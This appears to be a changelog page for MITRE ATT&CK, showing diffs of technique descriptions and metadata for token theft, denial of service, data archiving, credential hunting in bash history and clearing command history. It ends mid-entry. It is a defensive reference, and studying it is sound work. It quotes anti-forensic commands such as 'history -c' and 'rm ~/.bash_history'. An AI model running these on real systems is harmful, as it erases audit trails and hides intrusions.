| granted REST API to perform functions such as email searchin | | at actions the user is allowed to perform. Once identity is |
| g and contact enumeration.(Citation: Staaldraad Phishing wit | | established, the token allows actions to be authorized, with |
| h OAuth 2017) Compromised access tokens may be used as an i | | out passing the actual credentials of the user. Therefore, c |
| nitial step in compromising other services. For example, if | | ompromise of the token can grant the adversary access to res |
| a token grants access to a victim’s primary email, the adver | | ources of other sites through a malicious application.(Citat |
| sary may be able to extend access to all other services whic | | ion: okta) For example, with a cloud-based email service on |
| h the target subscribes by triggering forgotten password rou | | ce an OAuth access token is granted to a malicious applicati |
| tines. Direct API access through a token negates the effecti | | on, it can potentially gain long-term access to features of |
| veness of a second authentication factor and may be immune t | | the user account if a "refresh" token enabling background ac |
| o intuitive countermeasures like changing passwords. Access | | cess is awarded.(Citation: Microsoft Identity Platform Acces |
| abuse over an API channel can be difficult to detect even fr | | s 2019) With an OAuth access token an adversary can use the |
| om the service provider end, as the access can still align w | | user-granted REST API to perform functions such as email sea |
| ell with a legitimate workflow. | | rching and contact enumeration.(Citation: Staaldraad Phishin |
| | | g with OAuth 2017) Compromised access tokens may be used as |
| | | an initial step in compromising other services. For example |
| | | , if a token grants access to a victim’s primary email, the |
| | | adversary may be able to extend access to all other services |
| | | which the target subscribes by triggering forgotten passwor |
| | | d routines. Direct API access through a token negates the ef |
| | | fectiveness of a second authentication factor and may be imm |
| | | une to intuitive countermeasures like changing passwords. Ac |
| | | cess abuse over an API channel can be difficult to detect ev |
| | | en from the service provider end, as the access can still al |
| | | ign well with a legitimate workflow. |
Dropped Detections:
- DS0015: Application Log (Application Log Content)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019. |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | CAPEC-593 | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-09-02 17:18:55.891000+00:00 | 2022-04-21 16:25:42.900000+00:00 |
| description | Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.
Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)
For example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)
Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow. | Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.
Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019)
In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)
OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)
For example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)
Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow. |
| external_references[1]['source_name'] | capec | Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019 |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/593.html | https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/ |
| external_references[2]['source_name'] | Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019 | AWS Logging IAM Calls |
| external_references[2]['description'] | Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019. | AWS. (n.d.). Logging IAM and AWS STS API calls with AWS CloudTrail. Retrieved April 1, 2022. |
| external_references[2]['url'] | https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/ | https://docs.aws.amazon.com/IAM/latest/UserGuide/cloudtrail-integration.html |
| external_references[3]['source_name'] | okta | AWS Temporary Security Credentials |
| external_references[3]['description'] | okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019. | AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022. |
| external_references[3]['url'] | https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen | https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html |
| external_references[5]['source_name'] | Staaldraad Phishing with OAuth 2017 | Google Cloud Service Account Credentials |
| external_references[5]['description'] | Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019. | Google Cloud. (2022, March 31). Creating short-lived service account credentials. Retrieved April 1, 2022. |
| external_references[5]['url'] | https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/ | https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials |
| x_mitre_data_sources[0] | Web Credential: Web Credential Usage | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Application Log: Application Log Content | Web Credential: Web Credential Usage |
| x_mitre_detection | Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs. | Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs. Additionally, administrators should review logs for calls to the AWS Security Token Service (STS) and usage of GCP service accounts in order to identify anomalous actions.(Citation: AWS Logging IAM Calls)(Citation: GCP Monitoring Service Account Usage) |
| x_mitre_version | 1.2 | 1.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'GCP Monitoring Service Account Usage', 'description': 'Google Cloud. (2022, March 31). Monitor usage patterns for service accounts and keys . Retrieved April 1, 2022.', 'url': 'https://cloud.google.com/iam/docs/service-account-monitoring'} |
| external_references | | {'source_name': 'okta', 'description': 'okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.', 'url': 'https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen'} |
| external_references | | {'source_name': 'Rhino Security Labs Enumerating AWS Roles', 'description': 'Spencer Gietzen. (2018, August 8). Assume the Worst: Enumerating AWS Roles through ‘AssumeRole’. Retrieved April 1, 2022.', 'url': 'https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration'} |
| external_references | | {'source_name': 'Staaldraad Phishing with OAuth 2017', 'description': 'Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.', 'url': 'https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/'} |
| external_references | | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/593.html', 'external_id': 'CAPEC-593'} |
| x_mitre_contributors | | Jen Burns, HubSpot |
| x_mitre_platforms | | Containers |
[T1499.003] Endpoint Denial of Service: Application Exhaustion Flood
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may target resource intensive features of web ap | t | Adversaries may target resource intensive features of applic |
| plications to cause a denial of service (DoS). Specific feat | | ations to cause a denial of service (DoS), denying availabil |
| ures in web applications may be highly resource intensive. R | | ity to those applications. For example, specific features in |
| epeated requests to those features may be able to exhaust sy | | web applications may be highly resource intensive. Repeated |
| stem resources and deny access to the application or the ser | | requests to those features may be able to exhaust system re |
| ver itself. (Citation: Arbor AnnualDoSreport Jan 2018) | | sources and deny access to the application or the server its |
| | | elf.(Citation: Arbor AnnualDoSreport Jan 2018) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-03-29 16:08:52.118000+00:00 | 2022-03-25 18:07:45.176000+00:00 |
| description | Adversaries may target resource intensive features of web applications to cause a denial of service (DoS). Specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself. (Citation: Arbor AnnualDoSreport Jan 2018) | Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018) |
| external_references[1]['url'] | https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf | https://web.archive.org/web/20180320005525/https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf |
| x_mitre_data_sources[0] | Sensor Health: Host Status | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Application Log: Application Log Content | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[2] | Network Traffic: Network Traffic Content | Application Log: Application Log Content |
| x_mitre_data_sources[3] | Network Traffic: Network Traffic Flow | Sensor Health: Host Status |
| x_mitre_version | 1.1 | 1.2 |
[T1010] Application Window Discovery
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may attempt to get a listing of open application | t | Adversaries may attempt to get a listing of open application |
| windows. Window listings could convey information about how | | windows. Window listings could convey information about how |
| the system is used or give context to information collected | | the system is used or give context to information collected |
| by a keylogger. | | by a keylogger.(Citation: Prevailion DarkWatchman 2021) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-26 15:44:27.068000+00:00 | 2022-04-19 02:07:41.751000+00:00 |
| description | Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger. | Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.(Citation: Prevailion DarkWatchman 2021) |
| x_mitre_data_sources[0] | Process: Process Creation | Command: Command Execution |
| x_mitre_data_sources[1] | Command: Command Execution | Process: Process Creation |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Prevailion DarkWatchman 2021', 'description': 'Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.', 'url': 'https://www.prevailion.com/darkwatchman-new-fileless-techniques/'} |
| x_mitre_platforms | | Linux |
[T1499.004] Endpoint Denial of Service: Application or System Exploitation
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may exploit software vulnerabilities that can ca | t | Adversaries may exploit software vulnerabilities that can ca |
| use an application or system to crash and deny availability | | use an application or system to crash and deny availability |
| to users. (Citation: Sucuri BIND9 August 2015) Some systems | | to users. (Citation: Sucuri BIND9 August 2015) Some systems |
| may automatically restart critical applications and services | | may automatically restart critical applications and services |
| when crashes occur, but they can likely be re-exploited to | | when crashes occur, but they can likely be re-exploited to |
| cause a persistent DoS condition. | | cause a persistent denial of service (DoS) condition. Adver |
| | | saries may exploit known or zero-day vulnerabilities to cras |
| | | h applications and/or systems, which may also lead to depend |
| | | ent applications and/or systems to be in a DoS condition. Cr |
| | | ashed or restarted applications or systems may also have oth |
| | | er effects such as [Data Destruction](https://attack.mitre.o |
| | | rg/techniques/T1485), [Firmware Corruption](https://attack.m |
| | | itre.org/techniques/T1495), [Service Stop](https://attack.mi |
| | | tre.org/techniques/T1489) etc. which may further cause a DoS |
| | | condition and deny availability to critical information, ap |
| | | plications and/or systems. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-03-29 16:09:41.559000+00:00 | 2022-03-25 18:11:13.604000+00:00 |
| description | Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent DoS condition. | Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.
Adversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems. |
| x_mitre_version | 1.1 | 1.2 |
[T1560.001] Archive Collected Data: Archive via Utility
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | An adversary may compress or encrypt data that is collected | t | Adversaries may use utilities to compress and/or encrypt col |
| prior to exfiltration using 3rd party utilities. Many utilit | | lected data prior to exfiltration. Many utilities include fu |
| ies exist that can archive data, including 7-Zip(Citation: 7 | | nctionalities to compress, encrypt, or otherwise package dat |
| zip Homepage), WinRAR(Citation: WinRAR Homepage), and WinZip | | a into a format that is easier/more secure to transport. Ad |
| (Citation: WinZip Homepage). Most utilities include function | | versaries may abuse various utilities to compress or encrypt |
| ality to encrypt and/or compress data. Some 3rd party utili | | data before exfiltration. Some third party utilities may be |
| ties may be preinstalled, such as `tar` on Linux and macOS o | | preinstalled, such as <code>tar</code> on Linux and macOS o |
| r `zip` on Windows systems. | | r <code>zip</code> on Windows systems. On Windows, <code>dia |
| | | ntz</code> or <code> makecab</code> may be used to package c |
| | | ollected files into a cabinet (.cab) file. <code>diantz</cod |
| | | e> may also be used to download and compress files from remo |
| | | te locations (i.e. [Remote Data Staging](https://attack.mitr |
| | | e.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) A |
| | | dditionally, <code>xcopy</code> on Windows can copy files an |
| | | d directories with a variety of options. Adversaries may us |
| | | e also third party utilities, such as 7-Zip, WinRAR, and Win |
| | | Zip, to perform similar activities.(Citation: 7zip Homepage) |
| | | (Citation: WinRAR Homepage)(Citation: WinZip Homepage) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_contributors | | ['Mayan Arora aka Mayan Mohan'] |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-25 21:54:37.374000+00:00 | 2022-04-20 17:17:48.612000+00:00 |
| description | An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities. Many utilities exist that can archive data, including 7-Zip(Citation: 7zip Homepage), WinRAR(Citation: WinRAR Homepage), and WinZip(Citation: WinZip Homepage). Most utilities include functionality to encrypt and/or compress data.
Some 3rd party utilities may be preinstalled, such as `tar` on Linux and macOS or `zip` on Windows systems. | Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.
Adversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as tar on Linux and macOS or zip on Windows systems. On Windows, diantz or makecab may be used to package collected files into a cabinet (.cab) file. diantz may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) Additionally, xcopy on Windows can copy files and directories with a variety of options.
Adversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage) |
| external_references[1]['source_name'] | 7zip Homepage | WinRAR Homepage |
| external_references[1]['description'] | I. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020. | A. Roshal. (2020). RARLAB. Retrieved February 20, 2020. |
| external_references[1]['url'] | https://www.7-zip.org/ | https://www.rarlab.com/ |
| external_references[2]['source_name'] | WinRAR Homepage | WinZip Homepage |
| external_references[2]['description'] | A. Roshal. (2020). RARLAB. Retrieved February 20, 2020. | Corel Corporation. (2020). WinZip. Retrieved February 20, 2020. |
| external_references[2]['url'] | https://www.rarlab.com/ | https://www.winzip.com/win/en/ |
| external_references[3]['source_name'] | WinZip Homepage | 7zip Homepage |
| external_references[3]['description'] | Corel Corporation. (2020). WinZip. Retrieved February 20, 2020. | I. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020. |
| external_references[3]['url'] | https://www.winzip.com/win/en/ | https://www.7-zip.org/ |
| external_references[4]['source_name'] | Wikipedia File Header Signatures | diantz.exe_lolbas |
| external_references[4]['description'] | Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016. | Living Off The Land Binaries, Scripts and Libraries (LOLBAS). (n.d.). Diantz.exe. Retrieved October 25, 2021. |
| external_references[4]['url'] | https://en.wikipedia.org/wiki/List_of_file_signatures | https://lolbas-project.github.io/lolbas/Binaries/Diantz/ |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Wikipedia File Header Signatures', 'description': 'Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.', 'url': 'https://en.wikipedia.org/wiki/List_of_file_signatures'} |
[T1119] Automated Collection
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Once established within a system or network, an adversary ma | t | Once established within a system or network, an adversary ma |
| y use automated techniques for collecting internal data. Met | | y use automated techniques for collecting internal data. Met |
| hods for performing this technique could include use of a [C | | hods for performing this technique could include use of a [C |
| ommand and Scripting Interpreter](https://attack.mitre.org/t | | ommand and Scripting Interpreter](https://attack.mitre.org/t |
| echniques/T1059) to search for and copy information fitting | | echniques/T1059) to search for and copy information fitting |
| set criteria such as file type, location, or name at specifi | | set criteria such as file type, location, or name at specifi |
| c time intervals. This functionality could also be built int | | c time intervals. In cloud-based environments, adversaries m |
| o remote access tools. This technique may incorporate use | | ay also use cloud APIs, command line interfaces, or extract, |
| of other techniques such as [File and Directory Discovery](h | | transform, and load (ETL) services to automatically collect |
| ttps://attack.mitre.org/techniques/T1083) and [Lateral Tool | | data. This functionality could also be built into remote ac |
| Transfer](https://attack.mitre.org/techniques/T1570) to iden | | cess tools. This technique may incorporate use of other te |
| tify and move files. | | chniques such as [File and Directory Discovery](https://atta |
| | | ck.mitre.org/techniques/T1083) and [Lateral Tool Transfer](h |
| | | ttps://attack.mitre.org/techniques/T1570) to identify and mo |
| | | ve files, as well as [Cloud Service Dashboard](https://attac |
| | | k.mitre.org/techniques/T1538) and [Cloud Storage Object Disc |
| | | overy](https://attack.mitre.org/techniques/T1619) to identif |
| | | y resources in cloud environments. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_contributors | | ['Praetorian'] |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-31 22:18:43.019000+00:00 | 2022-04-11 18:40:24.795000+00:00 |
| description | Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools.
This technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files. | Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. In cloud-based environments, adversaries may also use cloud APIs, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data. This functionality could also be built into remote access tools.
This technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files, as well as [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538) and [Cloud Storage Object Discovery](https://attack.mitre.org/techniques/T1619) to identify resources in cloud environments. |
| x_mitre_detection | Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), as well as through cloud APIs and command line interfaces. |
| x_mitre_system_requirements[0] | Permissions to access directories and files that store information of interest. | Permissions to access directories, files, and API endpoints that store information of interest. |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Script: Script Execution |
| x_mitre_platforms | | IaaS |
| x_mitre_platforms | | SaaS |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Script: Script Execution | |
[T1552.003] Unsecured Credentials: Bash History
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may search the bash command history on compromis | t | Adversaries may search the bash command history on compromis |
| ed systems for insecurely stored credentials. Bash keeps tra | | ed systems for insecurely stored credentials. Bash keeps tra |
| ck of the commands users type on the command-line with the " | | ck of the commands users type on the command-line with the " |
| history" utility. Once a user logs out, the history is flush | | history" utility. Once a user logs out, the history is flush |
| ed to the user’s <code>.bash_history</code> file. For each u | | ed to the user’s <code>.bash_history</code> file. For each u |
| ser, this file resides at the same location: <code>~/.bash_h | | ser, this file resides at the same location: <code>~/.bash_h |
| istory</code>. Typically, this file keeps track of the user’ | | istory</code>. Typically, this file keeps track of the user’ |
| s last 500 commands. Users often type usernames and password | | s last 500 commands. Users often type usernames and password |
| s on the command-line as parameters to programs, which then | | s on the command-line as parameters to programs, which then |
| get saved to this file when they log out. Attackers can abus | | get saved to this file when they log out. Adversaries can ab |
| e this by looking through the file for potential credentials | | use this by looking through the file for potential credentia |
| . (Citation: External to DA, the OS X Way) | | ls. (Citation: External to DA, the OS X Way) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-02-07 20:48:49.878000+00:00 | 2022-03-08 21:34:44.728000+00:00 |
| description | Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way) | Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way) |
| x_mitre_version | 1.0 | 1.1 |
[T1110] Brute Force
Current version: 2.4
Version changed from: 2.3 → 2.4
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-09-30 19:18:16.672000+00:00 | 2022-04-19 21:28:49.481000+00:00 |
| x_mitre_version | 2.3 | 2.4 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Mohamed Kmal |
| x_mitre_data_sources | | Application Log: Application Log Content |
| x_mitre_platforms | | Network |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Application Log: Application Log Content | |
[T1612] Build Image on Host
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-08-26 16:45:04.924000+00:00 | 2022-04-01 13:04:00.946000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Image: Image Creation |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Image: Image Creation | |
[T1070.003] Indicator Removal on Host: Clear Command History
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | In addition to clearing system logs, an adversary may clear | t | In addition to clearing system logs, an adversary may clear |
| the command history of a compromised account to conceal the | | the command history of a compromised account to conceal the |
| actions undertaken during an intrusion. Various command inte | | actions undertaken during an intrusion. Various command inte |
| rpreters keep track of the commands users type in their term | | rpreters keep track of the commands users type in their term |
| inal so that users can retrace what they've done. On Linux | | inal so that users can retrace what they've done. On Linux |
| and macOS, these command histories can be accessed in a few | | and macOS, these command histories can be accessed in a few |
| different ways. While logged in, this command history is tra | | different ways. While logged in, this command history is tra |
| cked in a file pointed to by the environment variable <code> | | cked in a file pointed to by the environment variable <code> |
| HISTFILE</code>. When a user logs off a system, this informa | | HISTFILE</code>. When a user logs off a system, this informa |
| tion is flushed to a file in the user's home directory calle | | tion is flushed to a file in the user's home directory calle |
| d <code>~/.bash_history</code>. The benefit of this is that | | d <code>~/.bash_history</code>. The benefit of this is that |
| it allows users to go back to commands they've used before i | | it allows users to go back to commands they've used before i |
| n different sessions. Adversaries may delete their commands | | n different sessions. Adversaries may delete their commands |
| from these logs by manually clearing the history (<code>his | | from these logs by manually clearing the history (<code>his |
| tory -c</code>) or deleting the bash history file <code>rm ~ | | tory -c</code>) or deleting the bash history file <code>rm ~ |
| /.bash_history</code>. On Windows hosts, PowerShell has two | | /.bash_history</code>. Adversaries may also leverage a [N |
| different command history providers: the built-in history a | | etwork Device CLI](https://attack.mitre.org/techniques/T1059 |
